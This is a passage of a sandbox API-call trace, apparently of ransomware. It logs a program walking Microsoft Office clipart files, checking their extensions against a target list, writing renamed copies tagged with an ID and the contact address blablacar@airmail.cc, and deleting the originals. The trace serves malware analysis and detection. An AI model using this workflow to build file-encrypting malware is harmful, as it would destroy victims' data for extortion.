(lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.296] lstrlenW (lpString=".1cd") returned 4 [0103.296] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-012A-0000-1000-0000000FF1CE.xml") returned 104 [0103.296] lstrlenW (lpString=".jpg") returned 4 [0103.296] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.296] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0103.296] lstrlenW (lpString="AG00011_.GIF") returned 12 [0103.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0103.517] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=7216) returned 1 [0103.517] CloseHandle (hObject=0x36c) returned 1 [0103.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0103.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0103.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0103.518] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0103.518] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0103.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.388] GetLastError () returned 0x0 [0104.400] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x1c30, lpOverlapped=0x0) returned 1 [0104.408] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0x1c40, lpOverlapped=0x0) returned 1 [0104.409] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.409] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.409] SetEndOfFile (hFile=0x35c) returned 1 [0104.409] CloseHandle (hObject=0x35c) returned 1 [0104.410] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.410] SetEndOfFile (hFile=0x36c) returned 1 [0104.412] CloseHandle (hObject=0x36c) returned 1 [0104.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0104.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.412] lstrlenW (lpString=".doc") returned 4 [0104.412] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.412] lstrlenW (lpString=".docx") returned 5 [0104.412] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.412] lstrlenW (lpString=".pdf") returned 4 [0104.412] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.412] lstrlenW (lpString=".xls") returned 4 [0104.412] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.412] lstrlenW (lpString=".xlsx") returned 5 [0104.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.413] lstrlenW (lpString=".ppt") returned 4 [0104.413] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString=".zip") returned 4 [0104.413] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.413] lstrlenW (lpString=".rar") returned 4 [0104.413] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.413] lstrlenW (lpString=".bz2") returned 4 [0104.413] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.413] lstrlenW (lpString=".7z") returned 3 [0104.413] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString=".dbf") returned 4 [0104.413] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString=".1cd") returned 4 [0104.413] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString=".jpg") returned 4 [0104.413] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.413] lstrlenW (lpString=".doc") returned 4 [0104.413] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.413] lstrlenW (lpString=".docx") returned 5 [0104.413] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.413] lstrlenW (lpString=".pdf") returned 4 [0104.413] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.413] lstrlenW (lpString=".xls") returned 4 [0104.413] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.414] lstrlenW (lpString=".xlsx") returned 5 [0104.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.414] lstrlenW (lpString=".ppt") returned 4 [0104.414] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.414] lstrlenW (lpString=".zip") returned 4 [0104.414] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.414] lstrlenW (lpString=".rar") returned 4 [0104.414] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.414] lstrlenW (lpString=".bz2") returned 4 [0104.414] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.414] lstrlenW (lpString=".7z") returned 3 [0104.414] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.414] lstrlenW (lpString=".dbf") returned 4 [0104.414] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.414] lstrlenW (lpString=".1cd") returned 4 [0104.414] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 68 [0104.414] lstrlenW (lpString=".jpg") returned 4 [0104.414] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.414] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.414] lstrlenW (lpString="AG00120_.GIF") returned 12 [0104.414] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.415] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3484) returned 1 [0104.415] CloseHandle (hObject=0x36c) returned 1 [0104.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 0x220 [0104.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.415] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.415] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.415] GetLastError () returned 0x0 [0104.415] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xd9c, lpOverlapped=0x0) returned 1 [0104.417] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xda0, lpOverlapped=0x0) returned 1 [0104.417] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.418] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.418] SetEndOfFile (hFile=0x35c) returned 1 [0104.418] CloseHandle (hObject=0x35c) returned 1 [0104.418] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.419] SetEndOfFile (hFile=0x36c) returned 1 [0104.419] CloseHandle (hObject=0x36c) returned 1 [0104.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00120_.gif")) returned 1 [0104.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.420] lstrlenW (lpString=".doc") returned 4 [0104.420] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.420] lstrlenW (lpString=".docx") returned 5 [0104.420] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.420] lstrlenW (lpString=".pdf") returned 4 [0104.420] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.420] lstrlenW (lpString=".xls") returned 4 [0104.420] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.420] lstrlenW (lpString=".xlsx") returned 5 [0104.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.420] lstrlenW (lpString=".ppt") returned 4 [0104.420] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.420] lstrlenW (lpString=".zip") returned 4 [0104.420] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.420] lstrlenW (lpString=".rar") returned 4 [0104.420] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.420] lstrlenW (lpString=".bz2") returned 4 [0104.421] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.421] lstrlenW (lpString=".7z") returned 3 [0104.421] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString=".dbf") returned 4 [0104.421] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString=".1cd") returned 4 [0104.421] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString=".jpg") returned 4 [0104.421] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString=".doc") returned 4 [0104.421] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.421] lstrlenW (lpString=".docx") returned 5 [0104.421] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.421] lstrlenW (lpString=".pdf") returned 4 [0104.421] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.421] lstrlenW (lpString=".xls") returned 4 [0104.421] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.421] lstrlenW (lpString=".xlsx") returned 5 [0104.421] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.421] lstrlenW (lpString=".ppt") returned 4 [0104.421] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.421] lstrlenW (lpString=".zip") returned 4 [0104.421] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.421] lstrlenW (lpString=".rar") returned 4 [0104.421] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.422] lstrlenW (lpString=".bz2") returned 4 [0104.422] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.422] lstrlenW (lpString=".7z") returned 3 [0104.422] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.422] lstrlenW (lpString=".dbf") returned 4 [0104.422] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.422] lstrlenW (lpString=".1cd") returned 4 [0104.422] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00120_.GIF") returned 68 [0104.422] lstrlenW (lpString=".jpg") returned 4 [0104.422] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.422] lstrcmpiW (lpString1=".GIF", lpString2=".kr") returned -1 [0104.422] lstrlenW (lpString="AG00126_.GIF") returned 12 [0104.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.422] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25aff14 | out: lpFileSize=0x25aff14*=3140) returned 1 [0104.422] CloseHandle (hObject=0x36c) returned 1 [0104.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 0x220 [0104.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0104.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0104.423] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.423] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0104.423] GetLastError () returned 0x0 [0104.423] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0xc44, lpOverlapped=0x0) returned 1 [0104.424] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xc50, lpOverlapped=0x0) returned 1 [0104.425] ReadFile (in: hFile=0x36c, lpBuffer=0x3ce5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25afecc, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesRead=0x25afecc*=0x0, lpOverlapped=0x0) returned 1 [0104.425] WriteFile (in: hFile=0x35c, lpBuffer=0x3ce5020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x25afc94, lpOverlapped=0x0 | out: lpBuffer=0x3ce5020*, lpNumberOfBytesWritten=0x25afc94*=0xec, lpOverlapped=0x0) returned 1 [0104.425] SetEndOfFile (hFile=0x35c) returned 1 [0104.426] CloseHandle (hObject=0x35c) returned 1 [0104.427] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25afec0 | out: lpNewFilePointer=0x0) returned 1 [0104.427] SetEndOfFile (hFile=0x36c) returned 1 [0104.428] CloseHandle (hObject=0x36c) returned 1 [0104.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0104.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0104.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.428] lstrlenW (lpString=".doc") returned 4 [0104.428] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.428] lstrlenW (lpString=".docx") returned 5 [0104.428] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.428] lstrlenW (lpString=".pdf") returned 4 [0104.428] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.428] lstrlenW (lpString=".xls") returned 4 [0104.428] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.428] lstrlenW (lpString=".xlsx") returned 5 [0104.428] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.429] lstrlenW (lpString=".ppt") returned 4 [0104.429] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString=".zip") returned 4 [0104.429] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.429] lstrlenW (lpString=".rar") returned 4 [0104.429] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.429] lstrlenW (lpString=".bz2") returned 4 [0104.429] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.429] lstrlenW (lpString=".7z") returned 3 [0104.429] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString=".dbf") returned 4 [0104.429] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString=".1cd") returned 4 [0104.429] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString=".jpg") returned 4 [0104.429] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.429] lstrlenW (lpString=".doc") returned 4 [0104.429] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0104.429] lstrlenW (lpString=".docx") returned 5 [0104.429] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0104.429] lstrlenW (lpString=".pdf") returned 4 [0104.429] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0104.429] lstrlenW (lpString=".xls") returned 4 [0104.429] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0104.430] lstrlenW (lpString=".xlsx") returned 5 [0104.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0104.430] lstrlenW (lpString=".ppt") returned 4 [0104.430] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0104.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.430] lstrlenW (lpString=".zip") returned 4 [0104.430] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0104.430] lstrlenW (lpString=".rar") returned 4 [0104.430] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0104.430] lstrlenW (lpString=".bz2") returned 4 [0104.430] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0104.430] lstrlenW (lpString=".7z") returned 3 [0104.430] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0104.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.430] lstrlenW (lpString=".dbf") returned 4 [0104.430] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0104.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.430] lstrlenW (lpString=".1cd") returned 4 [0104.430] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0104.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 68 [0104.430] lstrlenW (lpString=".jpg") returned 4 [0104.430] lstrcmpiW 